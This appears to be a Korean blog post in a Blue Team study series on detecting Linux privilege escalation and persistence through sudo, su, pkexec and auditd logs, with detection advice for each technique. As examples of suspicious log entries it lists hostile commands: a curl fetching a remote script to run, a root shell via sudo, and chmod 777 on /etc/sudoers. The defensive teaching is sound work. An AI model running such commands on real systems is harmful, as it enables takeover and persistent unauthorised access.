| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | |||||
| 3 | 4 | 5 | 6 | 7 | 8 | 9 |
| 10 | 11 | 12 | 13 | 14 | 15 | 16 |
| 17 | 18 | 19 | 20 | 21 | 22 | 23 |
| 24 | 25 | 26 | 27 | 28 | 29 | 30 |
| 31 |
- CTF
- OverTheWire
- XSS
- 리눅스 기초
- 해킹 스터디
- web hacking
- 사이버 보안
- 워게임
- 보안 스터디
- Blue Team
- write-up
- 모의해킹
- Cyber Security
- IR
- TryHackMe
- 블루팀
- 보안 관제
- Bandit
- SoC
- cert
- 해킹
- 리눅스
- Cross-Site Scripting
- 정보보호
- http
- 정보보안
- 해커
- THM
- linux
- Web
- Today
- Total
AnbyMata의 해킹 노트
[Blue Team] EP.9 - 권한 상승 분석 본문
[9-1] 로그인 직후 권한 상승을 시도하는 이유
일반 사용자 권한의 제한
- 시스템 설정 불가 - 핵심 설정 파일을 수정해 백도어를 심는 보안 기능 무력화 행위 불가능
- 접근 제한 - 다른 사용자의 데이터나 민감한 시스템 파일 접근 불가능
- 서비스 제어 제한 - 새로운 악성 서비스 설치 및 기존 보안 서비스 중지 불가능
- 흔적 은폐 불가 - 시스템의 Audit Log(감사 로그)를 임의로 변경 및 삭제 불가능
root(관리자) 권한으로 가능한 것들
- 자유로운 파일 조작 - 시스템 내 모든 파일 조작 가능
- 커널 및 서비스 장악 - 커널 모듈을 로드하여 탐지가 힘든 루트킷 설치 및 서비스 조작 가능
- 계정 관리 - 새로운 관리자 계정 생성 및 sudoers 파일을 변경해 권한 고착화 가능
- 네트워크 제어 - 방화벽 설정을 조작해 외부와의 연결 통로 확보 및 네트워크 통신 감시
- 로그 삭제 - 모든 Audit Log(감사 로그) 삭제 및 조작을 통해 흔적 삭제
[9-2] sudo 로그

[sudo 로그 구성 요소]
- 실행자 (anbymata): 명령을 입력한 사용자 계정
- 터미널 (TTY=pts/0): 원격 SSH 세션을 통해 접속 중
- 작업 경로 (PWD=/home/main/policy): 해당 명령이 실행된 현재 디렉토리 위치
- 목표 권한 (USER=root): 명령이 실행될 때 빌려온 대상 권한 (주로 root)
- 실행 명령 (COMMAND=/usr/bin/apt update): 실제로 수행된 최종 행위
정상 명령들
- `COMMAND=/usr/bin/apt update`
- `COMMAND=/usr/bin/systemctl restart nginx`
- `COMMAND=/usr/bin/tail -n 100 /var/log/nginx/error.log`
→ 정기적인 패치나 사전에 승인된 서비스 관리 작업
주의 명령들
- `COMMAND=/usr/sbin/useradd -m backupavc`
→ 미승인 관리자 계정 생성 시도
- `COMMAND=/bin/bash`
→ root 쉘 직접 획득 (가장 위험)
- `COMMAND=/bin/chmod 777 /etc/sudoers`
→ 권한 체계 무력화 및 고착화 시도
- `COMMAND=/bin/curl -faSL https://.../a.sh`
→ 외부에서 악성 스크립트를 다운로드하여 즉시 실행
[9-3] 다른 권한 전환 경로
`su` (Switch User) - 세션 전환의 기본
- 다른 사용자로 세션을 완전히 전환하는 방식
- 주로 `su -`를 통해 환경 변수까지 root로 전환
- 실행 시 대상 계정의 비밀번호 필요
- 로그는 주로 `/var/log/auth.log` 또는 `/var/log/secure`에 기록됨
- 성공 시 "session opened for user root"와 같은 메시지 남음
`pkexec` (PolicyKit) - GUI 취약점
- Desktop/GUI 환경에서 주로 사용되는 PolicyKit 기반의 권한 실행 도구
- 취약점 악용 시 일반적인 auth.log 에 기록되지 않을 수 있음
- auditd 나 EDR을 통한 보강이 필요
`auditd` 보강 - 커널 수준의 강력한 감시
- evecve 시스템 콜을 추적해 명령 실행 인자를 모두 기록
- 사용자의 실제 ID (auid)와 유효 ID (euid)의 변화를 실시간으로 기록해 로그 삭제 및 우회가 어려움
[9-4] Persistence(지속성 유지) 및 구조적 권한 고착화 전략
공격자가 root 쉘을 얻은 후, 언제든 재진입할 수 있도록 수행하는 전략
1. 새 계정 생성과 그룹 추가
- 정상 계정처럼 위장한 새로운 관리자 계정을 몰래 생성
- 대응 방법:
+ 계정 생성 직후 외부 IP에서 해당 계정으로의 로그인 성공(Accepted password)이 발생
+ `useradd` 로그 - 새로운 사용자가 생성된 시점과 승인 이력 대조
+ `usermod` 로그 - 생성된 계정이 즉시 sudo나 wheel 같은 관리자 그룹에 추가되는지 감시
2. sudoers 변경과 `etc/sudoers.d` 조작
- 비밀번호 없이 관리자 권한 사용을 위해 권한 체계를 구조적으로 변조
- `NOPASSWD:ALL` 설정은 특정 계정이 비밀번호 없이 모든 명령을 root 권한으로 실행할 수 있게 함
- 대응 방법:
+ visudo 실행 흔적이나 `/etc/sudoers.d/` 경로에 새 파일 생성 여부 확인
+ 파일 mtime(수정 시간)을 체크하여 미승인 시점에 변경되었는지 확인
3. SSH 키 기반 지속성: authorized_keys 추가
- SSH 공개키가 남아있으면 계정의 비밀번호가 바뀌어도 다시 들어올 수 있음
- auth.log 에는 "Accepted publickey"라는 성공 로그만 남아 정상 사용자와 구분이 힘듬
- 대응 방법:
+ auditd watch 설정을 통해 `.ssh/authorized_keys`파일의 쓰기 행위를 실시간 감시
+ 침해 대응 시 root, deploy, devops 등 주요 계정의 키 파일을 점검
4. cron, systemd를 통한 주기적 지속성
- 시스템이 재부팅되어도 주기적으로 살아나는 구조
- cron - 외부 URL에서 악성 스크립트를 받아 쉘로 실행하는 명령을 등록
- systemd - 정상 서비스로 위장한 유닛 파일을 생성하여 악성 파일을 자동 실행
- 대응 방법:
+ 실행 대상 파일의 경로 ( /tmp, /dev/shm...)와 등록 주체 (root)를 함께 분석
[Blue Team] EP.9 - 권한 상승 분석. END.
'Blue Team (SOC) > Linux Log Analysis' 카테고리의 다른 글
| [Blue Team] EP.10 - 프로세스 / 명령 / 파일 / 네트워크 분석 (0) | 2026.05.01 |
|---|---|
| [Blue Team] EP.8 - 로그인 및 인증 로그 분석 (0) | 2026.04.22 |
| [Blue Team] EP.7 - Linux 로그 구조 및 파일 체계 (3) | 2026.04.20 |
| [Blue Team] EP.6 - Linux 로그 기초 (0) | 2026.04.19 |